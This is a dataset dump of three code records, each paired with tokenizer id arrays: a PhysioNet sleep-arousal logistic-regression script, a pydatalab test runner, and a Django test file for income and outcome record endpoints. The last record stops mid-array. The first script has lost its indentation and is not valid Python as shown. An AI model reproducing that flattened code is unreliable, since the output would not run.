logistic_regression/run_my_classifier.py | GuanLab/DeepSleep | 27 | 1612410 | #!/usr/bin/env python3
"""
Created on Fri Mar 30 22:03:29 2018
@author: mohammad
"""
import sys
import os
import glob
import numpy as np
import pandas as pd
import scipy.io
from sklearn.externals import joblib
import physionetchallenge2018_lib as phyc
def classify_record(record_name):
header_file = record_name + '.hea'
signal_file = record_name + '.mat'
# Read model files from the 'models' subdirectory, which are
# generated by 'train_classifier.py'
model_list = []
for f in glob.glob('models/*_model.pkl'):
model_list.append(f)
# Use the average predictions from the models generated on the
# training set
predictions_mean = 0.
for j in range(0, len(model_list)):
this_model = model_list[j]
predictions = run_classifier(header_file, signal_file, this_model)
predictions_mean += predictions
predictions_mean /= len(model_list)
# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
# Return a vector of per-sample predictions, as per challenge requirements
# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
return predictions_mean
# This function generates the predictions from a single model
def run_classifier(header_file, signal_file, classifier_pickle):
signal_names, Fs, n_samples = phyc.import_signal_names(header_file)
# Get this subject's data as a dataframe
this_data = phyc.get_subject_data_test(signal_file, signal_names)
SaO2 = this_data.get(['SaO2']).values
step = Fs * 60
window_size = Fs * 60
# Initialize the X_subj and Y_subj matricies
X_subj = np.zeros([((n_samples) // step), 1])
for idx, k in enumerate(range(0, (n_samples-step+1), step)):
X_subj[idx, :] = np.var(np.transpose(SaO2[k:k+window_size]), axis=1)
# Load the classifier
my_classifier = joblib.load(classifier_pickle)
# Generate the prediction for the subjects.
predictions = my_classifier.predict_proba(X_subj)
predictions = predictions[:, 1]
predictions = [x * np.ones([window_size]) for x in predictions]
predictions = np.concatenate(predictions)
predictions = np.append(predictions, np.zeros(np.size(this_data, 0)
- np.size(predictions, 0)))
return predictions
if __name__ == '__main__':
for record in sys.argv[1:]:
output_file = os.path.basename(record) + '.vec'
results = classify_record(record)
np.savetxt('vec/' + output_file, results, fmt='%.3f')
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
15945,
29908,
13,
20399,
373,
11169,
1085,
29871,
29941,
29900,
29871,
29906,
29906,
29901,
29900,
29941,
29901,
29906,
29929,
29871,
29906,
29900,
29896,
29947,
13,
13,
29992,
8921,
29901,
286,
1148,
4850,
328,
13,
15945,
29908,
13,
5215,
10876,
13,
5215,
2897,
13,
5215,
13149,
13,
5215,
12655,
408,
7442,
13,
5215,
11701,
408,
10518,
13,
5215,
4560,
2272,
29889,
601,
13,
3166,
2071,
19668,
29889,
735,
725,
1338,
1053,
4982,
1982,
13,
5215,
4824,
291,
3486,
11768,
29906,
29900,
29896,
29947,
29918,
1982,
408,
1374,
11078,
13,
13,
1753,
770,
1598,
29918,
11651,
29898,
11651,
29918,
978,
1125,
13,
1678,
4839,
29918,
1445,
353,
2407,
29918,
978,
718,
15300,
354,
29874,
29915,
13,
1678,
7182,
29918,
1445,
353,
2407,
29918,
978,
718,
15300,
2922,
29915,
13,
13,
1678,
396,
7523,
1904,
2066,
515,
278,
525,
9794,
29915,
1014,
12322,
29892,
607,
526,
13,
1678,
396,
5759,
491,
525,
14968,
29918,
1990,
3709,
29889,
2272,
29915,
13,
1678,
1904,
29918,
1761,
353,
5159,
13,
1678,
363,
285,
297,
13149,
29889,
23705,
877,
9794,
5515,
29918,
4299,
29889,
29886,
6321,
29374,
13,
4706,
1904,
29918,
1761,
29889,
4397,
29898,
29888,
29897,
13,
13,
1678,
396,
4803,
278,
6588,
27303,
515,
278,
4733,
5759,
373,
278,
13,
1678,
396,
6694,
731,
13,
1678,
27303,
29918,
12676,
353,
29871,
29900,
29889,
13,
1678,
363,
432,
297,
3464,
29898,
29900,
29892,
7431,
29898,
4299,
29918,
1761,
22164,
13,
4706,
445,
29918,
4299,
353,
1904,
29918,
1761,
29961,
29926,
29962,
13,
4706,
27303,
353,
1065,
29918,
1990,
3709,
29898,
6672,
29918,
1445,
29892,
7182,
29918,
1445,
29892,
445,
29918,
4299,
29897,
13,
4706,
27303,
29918,
12676,
4619,
27303,
13,
13,
1678,
27303,
29918,
12676,
847,
29922,
7431,
29898,
4299,
29918,
1761,
29897,
13,
13,
1678,
396,
1738,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
21004,
13,
1678,
396,
7106,
263,
4608,
310,
639,
29899,
11249,
27303,
29892,
408,
639,
18766,
11780,
13,
1678,
396,
1738,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
6824,
21004,
13,
1678,
736,
27303,
29918,
12676,
13,
13,
29937,
910,
740,
16785,
278,
27303,
515,
263,
2323,
1904,
13,
1753,
1065,
29918,
1990,
3709,
29898,
6672,
29918,
1445,
29892,
7182,
29918,
1445,
29892,
770,
3709,
29918,
23945,
280,
1125,
13,
13,
1678,
7182,
29918,
7039,
29892,
383,
29879,
29892,
302,
29918,
27736,
353,
1374,
11078,
29889,
5215,
29918,
25436,
29918,
7039,
29898,
6672,
29918,
1445,
29897,
13,
13,
1678,
396,
3617,
445,
4967,
29915,
29879,
848,
408,
263,
12205,
13,
1678,
445,
29918,
1272,
353,
1374,
11078,
29889,
657,
29918,
16009,
29918,
1272,
29918,
1688,
29898,
25436,
29918,
1445,
29892,
7182,
29918,
7039,
29897,
13,
13,
1678,
5701,
29949,
29906,
353,
445,
29918,
1272,
29889,
657,
18959,
17618,
29949,
29906,
2033,
467,
5975,
13,
1678,
4331,
4706,
353,
383,
29879,
334,
29871,
29953,
29900,
13,
1678,
3474,
29918,
2311,
353,
383,
29879,
334,
29871,
29953,
29900,
13,
13,
1678,
396,
25455,
278,
1060,
29918,
1491,
29926,
322,
612,
29918,
1491,
29926,
1775,
2200,
583,
13,
1678,
1060,
29918,
1491,
29926,
353,
7442,
29889,
3298,
359,
4197,
3552,
29876,
29918,
27736,
29897,
849,
4331,
511,
29871,
29896,
2314,
13,
13,
1678,
363,
22645,
29892,
413,
297,
26985,
29898,
3881,
29898,
29900,
29892,
313,
29876,
29918,
27736,
29899,
10568,
29974,
29896,
511,
4331,
22164,
13,
4706,
1060,
29918,
1491,
29926,
29961,
13140,
29892,
584,
29962,
353,
7442,
29889,
1707,
29898,
9302,
29889,
3286,
4220,
29898,
17618,
29949,
29906,
29961,
29895,
29901,
29895,
29974,
7165,
29918,
2311,
11724,
9685,
29922,
29896,
29897,
13,
13,
1678,
396,
16012,
278,
770,
3709,
13,
1678,
590,
29918,
1990,
3709,
353,
4982,
1982,
29889,
1359,
29898,
1990,
3709,
29918,
23945,
280,
29897,
13,
13,
1678,
396,
3251,
403,
278,
18988,
363,
278,
17800,
29889,
13,
1678,
27303,
353,
590,
29918,
1990,
3709,
29889,
27711,
29918,
771,
2291,
29898,
29990,
29918,
1491,
29926,
29897,
13,
1678,
27303,
353,
27303,
7503,
29892,
29871,
29896,
29962,
13,
1678,
27303,
353,
518,
29916,
334,
7442,
29889,
2873,
4197,
7165,
29918,
2311,
2314,
363,
921,
297,
27303,
29962,
13,
1678,
27303,
353,
7442,
29889,
535,
29883,
2579,
403,
29898,
27711,
1080,
29897,
13,
1678,
27303,
353,
7442,
29889,
4397,
29898,
27711,
1080,
29892,
7442,
29889,
3298,
359,
29898,
9302,
29889,
2311,
29898,
1366,
29918,
1272,
29892,
29871,
29900,
29897,
13,
462,
462,
462,
29871,
448,
7442,
29889,
2311,
29898,
27711,
1080,
29892,
29871,
29900,
4961,
13,
1678,
736,
27303,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
363,
2407,
297,
10876,
29889,
19218,
29961,
29896,
29901,
5387,
13,
4706,
1962,
29918,
1445,
353,
2897,
29889,
2084,
29889,
6500,
3871,
29898,
11651,
29897,
718,
15300,
2003,
29915,
13,
4706,
2582,
353,
770,
1598,
29918,
11651,
29898,
11651,
29897,
13,
4706,
7442,
29889,
29879,
485,
300,
486,
877,
2003,
22208,
718,
1962,
29918,
1445,
29892,
2582,
29892,
19200,
2433,
15543,
29941,
29888,
1495,
13,
2
] |
tests/main.py | jaeglee0416/pydatalab | 0 | 184569 | <reponame>jaeglee0416/pydatalab<gh_stars>0
# Copyright 2015 Google Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
# in compliance with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License
# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
# or implied. See the License for the specific language governing permissions and limitations under
# the License.
from __future__ import absolute_import
from __future__ import unicode_literals
import sys
import unittest
# For these tests to work locally, install the package with "pip install -e ."
# from the parent folder and run "python tests/main.py"
import context_tests
import bigquery.api_tests
import bigquery.dataset_tests
import bigquery.external_data_source_tests
import bigquery.jobs_tests
import bigquery.parser_tests
import bigquery.query_tests
import bigquery.sampling_tests
import bigquery.schema_tests
import bigquery.table_tests
# import bigquery.udf_tests
import bigquery.view_tests
import kernel.bigquery_tests
import kernel.chart_data_tests
import kernel.chart_tests
import kernel.commands_tests
import kernel.html_tests
import kernel.storage_tests
import kernel.utils_tests
import ml.dataset_tests
import mltoolbox_structured_data.dl_interface_tests
import mltoolbox_structured_data.sd_e2e_tests
import mltoolbox_structured_data.traininglib_tests
import stackdriver.commands.monitoring_tests
import stackdriver.monitoring.group_tests
import stackdriver.monitoring.metric_tests
import stackdriver.monitoring.resource_tests
import stackdriver.monitoring.query_metadata_tests
import stackdriver.monitoring.query_tests
import stackdriver.monitoring.utils_tests
import storage.api_tests
import storage.bucket_tests
import storage.object_tests
import _util.http_tests
import _util.lru_cache_tests
import _util.util_tests
_TEST_MODULES = [
context_tests,
bigquery.api_tests,
bigquery.dataset_tests,
# bigquery.external_data_source_tests, # TODO: enable external data source tests
bigquery.jobs_tests,
bigquery.parser_tests,
bigquery.query_tests,
bigquery.sampling_tests,
bigquery.schema_tests,
bigquery.table_tests,
# bigquery.udf_tests, # TODO: enable UDF tests once new implementation is done
bigquery.view_tests,
bigquery.sampling_tests,
kernel.bigquery_tests,
kernel.chart_data_tests,
kernel.chart_tests,
kernel.commands_tests,
kernel.html_tests,
kernel.storage_tests,
kernel.utils_tests,
ml.dataset_tests,
mltoolbox_structured_data.dl_interface_tests,
mltoolbox_structured_data.sd_e2e_tests, # Not everything runs in Python 3.
mltoolbox_structured_data.traininglib_tests,
stackdriver.commands.monitoring_tests,
stackdriver.monitoring.group_tests,
stackdriver.monitoring.metric_tests,
stackdriver.monitoring.resource_tests,
stackdriver.monitoring.query_metadata_tests,
stackdriver.monitoring.query_tests,
stackdriver.monitoring.utils_tests,
storage.api_tests,
storage.bucket_tests,
storage.object_tests,
_util.http_tests,
_util.lru_cache_tests,
_util.util_tests
]
if __name__ == '__main__':
suite = unittest.TestSuite()
for m in _TEST_MODULES:
suite.addTests(unittest.defaultTestLoader.loadTestsFromModule(m))
runner = unittest.TextTestRunner()
result = runner.run(suite)
sys.exit(len(result.errors) + len(result.failures))
| [
1,
529,
276,
1112,
420,
29958,
1764,
387,
17179,
29900,
29946,
29896,
29953,
29914,
2272,
29881,
2075,
370,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29896,
29945,
5087,
9266,
29889,
2178,
10462,
21676,
29889,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
366,
1122,
451,
671,
445,
934,
5174,
13,
29937,
297,
752,
13036,
411,
278,
19245,
29889,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13235,
1090,
278,
19245,
13,
29937,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
13,
29937,
470,
2411,
2957,
29889,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
27028,
1090,
13,
29937,
278,
19245,
29889,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
13,
3166,
4770,
29888,
9130,
1649,
1053,
29104,
29918,
20889,
1338,
13,
5215,
10876,
13,
5215,
443,
27958,
13,
13,
29937,
1152,
1438,
6987,
304,
664,
12430,
29892,
2601,
278,
3577,
411,
376,
13096,
2601,
448,
29872,
869,
29908,
13,
29937,
515,
278,
3847,
4138,
322,
1065,
376,
4691,
6987,
29914,
3396,
29889,
2272,
29908,
13,
13,
5215,
3030,
29918,
21150,
13,
5215,
4802,
1972,
29889,
2754,
29918,
21150,
13,
5215,
4802,
1972,
29889,
24713,
29918,
21150,
13,
5215,
4802,
1972,
29889,
23176,
29918,
1272,
29918,
4993,
29918,
21150,
13,
5215,
4802,
1972,
29889,
9057,
29879,
29918,
21150,
13,
5215,
4802,
1972,
29889,
16680,
29918,
21150,
13,
5215,
4802,
1972,
29889,
1972,
29918,
21150,
13,
5215,
4802,
1972,
29889,
13445,
10335,
29918,
21150,
13,
5215,
4802,
1972,
29889,
11010,
29918,
21150,
13,
5215,
4802,
1972,
29889,
2371,
29918,
21150,
13,
29937,
1053,
4802,
1972,
29889,
566,
29888,
29918,
21150,
13,
5215,
4802,
1972,
29889,
1493,
29918,
21150,
13,
5215,
8466,
29889,
3752,
1972,
29918,
21150,
13,
5215,
8466,
29889,
15425,
29918,
1272,
29918,
21150,
13,
5215,
8466,
29889,
15425,
29918,
21150,
13,
5215,
8466,
29889,
26381,
29918,
21150,
13,
5215,
8466,
29889,
1420,
29918,
21150,
13,
5215,
8466,
29889,
12925,
29918,
21150,
13,
5215,
8466,
29889,
13239,
29918,
21150,
13,
5215,
286,
29880,
29889,
24713,
29918,
21150,
13,
5215,
286,
29880,
10154,
1884,
29918,
4984,
2955,
29918,
1272,
29889,
11671,
29918,
13248,
29918,
21150,
13,
5215,
286,
29880,
10154,
1884,
29918,
4984,
2955,
29918,
1272,
29889,
4928,
29918,
29872,
29906,
29872,
29918,
21150,
13,
5215,
286,
29880,
10154,
1884,
29918,
4984,
2955,
29918,
1272,
29889,
26495,
1982,
29918,
21150,
13,
5215,
5096,
9465,
29889,
26381,
29889,
3712,
2105,
292,
29918,
21150,
13,
5215,
5096,
9465,
29889,
3712,
2105,
292,
29889,
2972,
29918,
21150,
13,
5215,
5096,
9465,
29889,
3712,
2105,
292,
29889,
16414,
29918,
21150,
13,
5215,
5096,
9465,
29889,
3712,
2105,
292,
29889,
10314,
29918,
21150,
13,
5215,
5096,
9465,
29889,
3712,
2105,
292,
29889,
1972,
29918,
19635,
29918,
21150,
13,
5215,
5096,
9465,
29889,
3712,
2105,
292,
29889,
1972,
29918,
21150,
13,
5215,
5096,
9465,
29889,
3712,
2105,
292,
29889,
13239,
29918,
21150,
13,
5215,
8635,
29889,
2754,
29918,
21150,
13,
5215,
8635,
29889,
21454,
29918,
21150,
13,
5215,
8635,
29889,
3318,
29918,
21150,
13,
5215,
903,
4422,
29889,
1124,
29918,
21150,
13,
5215,
903,
4422,
29889,
29880,
582,
29918,
8173,
29918,
21150,
13,
5215,
903,
4422,
29889,
4422,
29918,
21150,
13,
13,
13,
29918,
18267,
29918,
6720,
14849,
17101,
353,
518,
13,
1678,
3030,
29918,
21150,
29892,
13,
1678,
4802,
1972,
29889,
2754,
29918,
21150,
29892,
13,
1678,
4802,
1972,
29889,
24713,
29918,
21150,
29892,
13,
1678,
396,
4802,
1972,
29889,
23176,
29918,
1272,
29918,
4993,
29918,
21150,
29892,
396,
14402,
29901,
9025,
7029,
848,
2752,
6987,
13,
1678,
4802,
1972,
29889,
9057,
29879,
29918,
21150,
29892,
13,
1678,
4802,
1972,
29889,
16680,
29918,
21150,
29892,
13,
1678,
4802,
1972,
29889,
1972,
29918,
21150,
29892,
13,
1678,
4802,
1972,
29889,
13445,
10335,
29918,
21150,
29892,
13,
1678,
4802,
1972,
29889,
11010,
29918,
21150,
29892,
13,
1678,
4802,
1972,
29889,
2371,
29918,
21150,
29892,
13,
1678,
396,
4802,
1972,
29889,
566,
29888,
29918,
21150,
29892,
396,
14402,
29901,
9025,
501,
4037,
6987,
2748,
716,
5314,
338,
2309,
13,
1678,
4802,
1972,
29889,
1493,
29918,
21150,
29892,
13,
1678,
4802,
1972,
29889,
13445,
10335,
29918,
21150,
29892,
13,
1678,
8466,
29889,
3752,
1972,
29918,
21150,
29892,
13,
1678,
8466,
29889,
15425,
29918,
1272,
29918,
21150,
29892,
13,
1678,
8466,
29889,
15425,
29918,
21150,
29892,
13,
1678,
8466,
29889,
26381,
29918,
21150,
29892,
13,
1678,
8466,
29889,
1420,
29918,
21150,
29892,
13,
1678,
8466,
29889,
12925,
29918,
21150,
29892,
13,
1678,
8466,
29889,
13239,
29918,
21150,
29892,
13,
1678,
286,
29880,
29889,
24713,
29918,
21150,
29892,
13,
1678,
286,
29880,
10154,
1884,
29918,
4984,
2955,
29918,
1272,
29889,
11671,
29918,
13248,
29918,
21150,
29892,
13,
1678,
286,
29880,
10154,
1884,
29918,
4984,
2955,
29918,
1272,
29889,
4928,
29918,
29872,
29906,
29872,
29918,
21150,
29892,
29871,
396,
2216,
4129,
6057,
297,
5132,
29871,
29941,
29889,
13,
1678,
286,
29880,
10154,
1884,
29918,
4984,
2955,
29918,
1272,
29889,
26495,
1982,
29918,
21150,
29892,
13,
1678,
5096,
9465,
29889,
26381,
29889,
3712,
2105,
292,
29918,
21150,
29892,
13,
1678,
5096,
9465,
29889,
3712,
2105,
292,
29889,
2972,
29918,
21150,
29892,
13,
1678,
5096,
9465,
29889,
3712,
2105,
292,
29889,
16414,
29918,
21150,
29892,
13,
1678,
5096,
9465,
29889,
3712,
2105,
292,
29889,
10314,
29918,
21150,
29892,
13,
1678,
5096,
9465,
29889,
3712,
2105,
292,
29889,
1972,
29918,
19635,
29918,
21150,
29892,
13,
1678,
5096,
9465,
29889,
3712,
2105,
292,
29889,
1972,
29918,
21150,
29892,
13,
1678,
5096,
9465,
29889,
3712,
2105,
292,
29889,
13239,
29918,
21150,
29892,
13,
1678,
8635,
29889,
2754,
29918,
21150,
29892,
13,
1678,
8635,
29889,
21454,
29918,
21150,
29892,
13,
1678,
8635,
29889,
3318,
29918,
21150,
29892,
13,
1678,
903,
4422,
29889,
1124,
29918,
21150,
29892,
13,
1678,
903,
4422,
29889,
29880,
582,
29918,
8173,
29918,
21150,
29892,
13,
1678,
903,
4422,
29889,
4422,
29918,
21150,
13,
29962,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
29871,
9460,
353,
443,
27958,
29889,
3057,
5091,
568,
580,
13,
29871,
363,
286,
297,
903,
18267,
29918,
6720,
14849,
17101,
29901,
13,
1678,
9460,
29889,
1202,
24376,
29898,
348,
27958,
29889,
4381,
3057,
10036,
29889,
1359,
24376,
4591,
7355,
29898,
29885,
876,
13,
13,
29871,
28877,
353,
443,
27958,
29889,
1626,
3057,
16802,
580,
13,
29871,
1121,
353,
28877,
29889,
3389,
29898,
13495,
29897,
13,
13,
29871,
10876,
29889,
13322,
29898,
2435,
29898,
2914,
29889,
12523,
29897,
718,
7431,
29898,
2914,
29889,
14057,
1973,
876,
13,
2
] |
moneyforecast/tests/records/test_record_crud.py | curaloucura/money-forecast | 7 | 146947 | import pytest
import json
from pyquery import PyQuery
from django.core.urlresolvers import reverse
from records.models import Record, OUTCOME, INCOME
pytest_plugins = ['tests.records.fixtures']
@pytest.fixture
def user_client(user, client):
result = client.login(username=user.username, password=<PASSWORD>)
assert result
return client
@pytest.fixture
def html_parser():
return HtmlParserUtil()
class HtmlParserUtil:
def set(self, html):
self.parser = PyQuery(html)
def select(self, css_selector):
return self.parser(css_selector)
@pytest.mark.django_db
class TestIncomeNoRecurring:
@pytest.fixture
def income_new(self, user_client, income, current_date, user):
record = Record.objects.create(
category=income, amount=1, start_date=current_date, user=user)
return record
def test_create_returns_new_id(
self, income, current_date, user_client):
post_data = {
'description': 'income',
'category': income.id,
'new_category': '',
'amount': 1,
'start_date': current_date.strftime("%d.%m.%Y"),
}
create_income_url = reverse("create_record", kwargs={"type": INCOME})
response = user_client.post(create_income_url, post_data)
assert response.status_code == 200
try:
new_id = json.loads(response.content)
except ValueError:
raise Exception("Form is invalid or content is not a json")
assert new_id > 0
def test_update_changes_value_in_db(
self, income_new, income, user, user_client,
current_date):
new_description = "changed income"
new_amount = 9999
update_record_url = reverse(
"update_record", kwargs={"pk": income_new.id})
post_data = {
'description': new_description,
'category': income.id,
'new_category': '',
'amount': new_amount,
'start_date': current_date.strftime("%d.%m.%Y"),
}
response = user_client.post(update_record_url, post_data)
assert response.status_code == 200
updated = json.loads(response.content)
assert updated['id'] == income_new.id
instance = Record.objects.get(pk=updated['id'])
assert instance.amount == new_amount
assert instance.description == new_description
def test_delete_returns_no_id(
self, income_new, user_client):
delete_record_url = reverse(
"delete_record", kwargs={"pk": income_new.id})
response = user_client.post(delete_record_url)
assert response.status_code == 200
deleted = json.loads(response.content)
assert deleted['id'] is 0
@pytest.mark.django_db
class TestOutcomeNoRecurring:
@pytest.fixture
def outcome_new(self, user_client, outcome, current_date, user):
record = Record.objects.create(
category=outcome, amount=1, start_date=current_date, user=user)
return record
def test_create_returns_new_id(
self, outcome, current_date, user_client):
post_data = {
'description': 'outcome',
'category': outcome.id,
'new_category': '',
'amount': 1,
'start_date': current_date.strftime("%d.%m.%Y"),
}
create_outcome_url = reverse("create_record", kwargs={"type": OUTCOME})
response = user_client.post(create_outcome_url, post_data)
assert response.status_code == 200
try:
new_id = json.loads(response.content)
except ValueError:
raise Exception("Form is invalid or content is not a json")
assert new_id > 0
def test_update_changes_value_in_db(
self, outcome_new, outcome, user, user_client,
current_date):
new_description = "changed outcome"
new_amount = 9999
update_record_url = reverse(
"update_record", kwargs={"pk": outcome_new.id})
post_data = {
'description': new_description,
'category': outcome.id,
'new_category': '',
'amount': new_amount,
'start_date': current_date.strftime("%d.%m.%Y"),
}
response = user_client.post(update_record_url, post_data)
assert response.status_code == 200
updated = json.loads(response.content)
assert updated['id'] == outcome_new.id
instance = Record.objects.get(pk=updated['id'])
assert instance.amount == new_amount
assert instance.description == new_description
def test_delete_returns_no_id(
self, outcome_new, user_client):
delete_record_url = reverse(
"delete_record", kwargs={"pk": outcome_new.id})
response = user_client.post(delete_record_url)
assert response.status_code == 200
deleted = json.loads(response.content)
assert deleted['id'] is 0
| [
1,
1053,
11451,
1688,
13,
5215,
4390,
13,
3166,
11451,
1972,
1053,
10772,
3010,
13,
3166,
9557,
29889,
3221,
29889,
2271,
9778,
874,
1053,
11837,
13,
13,
3166,
6475,
29889,
9794,
1053,
14164,
29892,
19474,
3217,
2303,
29892,
2672,
3217,
2303,
13,
13,
13,
2272,
1688,
29918,
12800,
353,
6024,
21150,
29889,
3757,
4339,
29889,
7241,
486,
1973,
2033,
13,
13,
13,
29992,
2272,
1688,
29889,
7241,
15546,
13,
1753,
1404,
29918,
4645,
29898,
1792,
29892,
3132,
1125,
13,
1678,
1121,
353,
3132,
29889,
7507,
29898,
6786,
29922,
1792,
29889,
6786,
29892,
4800,
29922,
29966,
25711,
17013,
12948,
13,
1678,
4974,
1121,
13,
1678,
736,
3132,
13,
13,
13,
29992,
2272,
1688,
29889,
7241,
15546,
13,
1753,
3472,
29918,
16680,
7295,
13,
1678,
736,
24726,
11726,
7270,
580,
13,
13,
13,
1990,
24726,
11726,
7270,
29901,
13,
1678,
822,
731,
29898,
1311,
29892,
3472,
1125,
13,
4706,
1583,
29889,
16680,
353,
10772,
3010,
29898,
1420,
29897,
13,
13,
1678,
822,
1831,
29898,
1311,
29892,
5997,
29918,
14357,
1125,
13,
4706,
736,
1583,
29889,
16680,
29898,
4268,
29918,
14357,
29897,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
14095,
29918,
2585,
13,
1990,
4321,
797,
2763,
3782,
4789,
1038,
292,
29901,
13,
1678,
732,
2272,
1688,
29889,
7241,
15546,
13,
1678,
822,
17869,
29918,
1482,
29898,
1311,
29892,
1404,
29918,
4645,
29892,
17869,
29892,
1857,
29918,
1256,
29892,
1404,
1125,
13,
4706,
2407,
353,
14164,
29889,
12650,
29889,
3258,
29898,
13,
9651,
7663,
29922,
262,
2763,
29892,
5253,
29922,
29896,
29892,
1369,
29918,
1256,
29922,
3784,
29918,
1256,
29892,
1404,
29922,
1792,
29897,
13,
4706,
736,
2407,
13,
13,
1678,
822,
1243,
29918,
3258,
29918,
18280,
29918,
1482,
29918,
333,
29898,
13,
9651,
1583,
29892,
17869,
29892,
1857,
29918,
1256,
29892,
1404,
29918,
4645,
1125,
13,
4706,
1400,
29918,
1272,
353,
426,
13,
9651,
525,
8216,
2396,
525,
262,
2763,
742,
13,
9651,
525,
7320,
2396,
17869,
29889,
333,
29892,
13,
9651,
525,
1482,
29918,
7320,
2396,
15516,
13,
9651,
525,
14506,
2396,
29871,
29896,
29892,
13,
9651,
525,
2962,
29918,
1256,
2396,
1857,
29918,
1256,
29889,
710,
615,
603,
11702,
29881,
29889,
29995,
29885,
29889,
29995,
29979,
4968,
13,
4706,
500,
13,
4706,
1653,
29918,
262,
2763,
29918,
2271,
353,
11837,
703,
3258,
29918,
11651,
613,
9049,
5085,
3790,
29908,
1853,
1115,
2672,
3217,
2303,
1800,
13,
4706,
2933,
353,
1404,
29918,
4645,
29889,
2490,
29898,
3258,
29918,
262,
2763,
29918,
2271,
29892,
1400,
29918,
1272,
29897,
13,
4706,
4974,
2933,
29889,
4882,
29918,
401,
1275,
29871,
29906,
29900,
29900,
13,
4706,
1018,
29901,
13,
9651,
716,
29918,
333,
353,
4390,
29889,
18132,
29898,
5327,
29889,
3051,
29897,
13,
4706,
5174,
7865,
2392,
29901,
13,
9651,
12020,
8960,
703,
2500,
338,
8340,
470,
2793,
338,
451,
263,
4390,
1159,
13,
4706,
4974,
716,
29918,
333,
1405,
29871,
29900,
13,
13,
1678,
822,
1243,
29918,
5504,
29918,
25990,
29918,
1767,
29918,
262,
29918,
2585,
29898,
13,
9651,
1583,
29892,
17869,
29918,
1482,
29892,
17869,
29892,
1404,
29892,
1404,
29918,
4645,
29892,
13,
9651,
1857,
29918,
1256,
1125,
13,
4706,
716,
29918,
8216,
353,
376,
15033,
17869,
29908,
13,
4706,
716,
29918,
14506,
353,
29871,
29929,
29929,
29929,
29929,
13,
4706,
2767,
29918,
11651,
29918,
2271,
353,
11837,
29898,
13,
9651,
376,
5504,
29918,
11651,
613,
9049,
5085,
3790,
29908,
20571,
1115,
17869,
29918,
1482,
29889,
333,
1800,
13,
4706,
1400,
29918,
1272,
353,
426,
13,
9651,
525,
8216,
2396,
716,
29918,
8216,
29892,
13,
9651,
525,
7320,
2396,
17869,
29889,
333,
29892,
13,
9651,
525,
1482,
29918,
7320,
2396,
15516,
13,
9651,
525,
14506,
2396,
716,
29918,
14506,
29892,
13,
9651,
525,
2962,
29918,
1256,
2396,
1857,
29918,
1256,
29889,
710,
615,
603,
11702,
29881,
29889,
29995,
29885,
29889,
29995,
29979,
4968,
13,
4706,
500,
13,
4706,
2933,
353,
1404,
29918,
4645,
29889,
2490,
29898,
5504,
29918,
11651,
29918,
2271,
29892,
1400,
29918,
1272,
29897,
13,
4706,
4974,
2933,
29889,
4882,
29918,
401,
1275,
29871,
29906,
29900,
29900,
13,
4706,
4784,
353,
4390,
29889,
18132,
29898,
5327,
29889,
3051,
29897,
13,
4706,
4974,
4784,
1839,
333,
2033,
1275,
17869,
29918,
1482,
29889,
333,
13,
4706,
2777,
353,
14164,
29889,
12650,
29889,
657,
29898,
20571,
29922,
21402,
1839,
333,
11287,
13,
4706,
4974,
2777,
29889,
14506,
1275,
716,
29918,
14506,
13,
4706,
4974,
2777,
29889,
8216,
1275,
716,
29918,
8216,
13,
13,
1678,
822,
1243,
29918,
8143,
29918,
18280,
29918,
1217,
29918,
333,
29898,
13,
9651,
1583,
29892,
17869,
29918,
1482,
29892,
1404,
29918,
4645,
1125,
13,
4706,
5217,
29918,
11651,
29918,
2271,
353,
11837,
29898,
13,
9651,
376,
8143,
29918,
11651,
613,
9049,
5085,
3790,
29908,
20571,
1115,
17869,
29918,
1482,
29889,
333,
1800,
13,
4706,
2933,
353,
1404,
29918,
4645,
29889,
2490,
29898,
8143,
29918,
11651,
29918,
2271,
29897,
13,
4706,
4974,
2933,
29889,
4882,
29918,
401,
1275,
29871,
29906,
29900,
29900,
13,
4706,
11132,
353,
4390,
29889,
18132,
29898,
5327,
29889,
3051,
29897,
13,
4706,
4974,
11132,
1839,
333,
2033,
338,
29871,
29900,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
14095,
29918,
2585,
13,
1990,
4321,
3744,
2763,
3782,
4789,
1038,
292,
29901,
13,
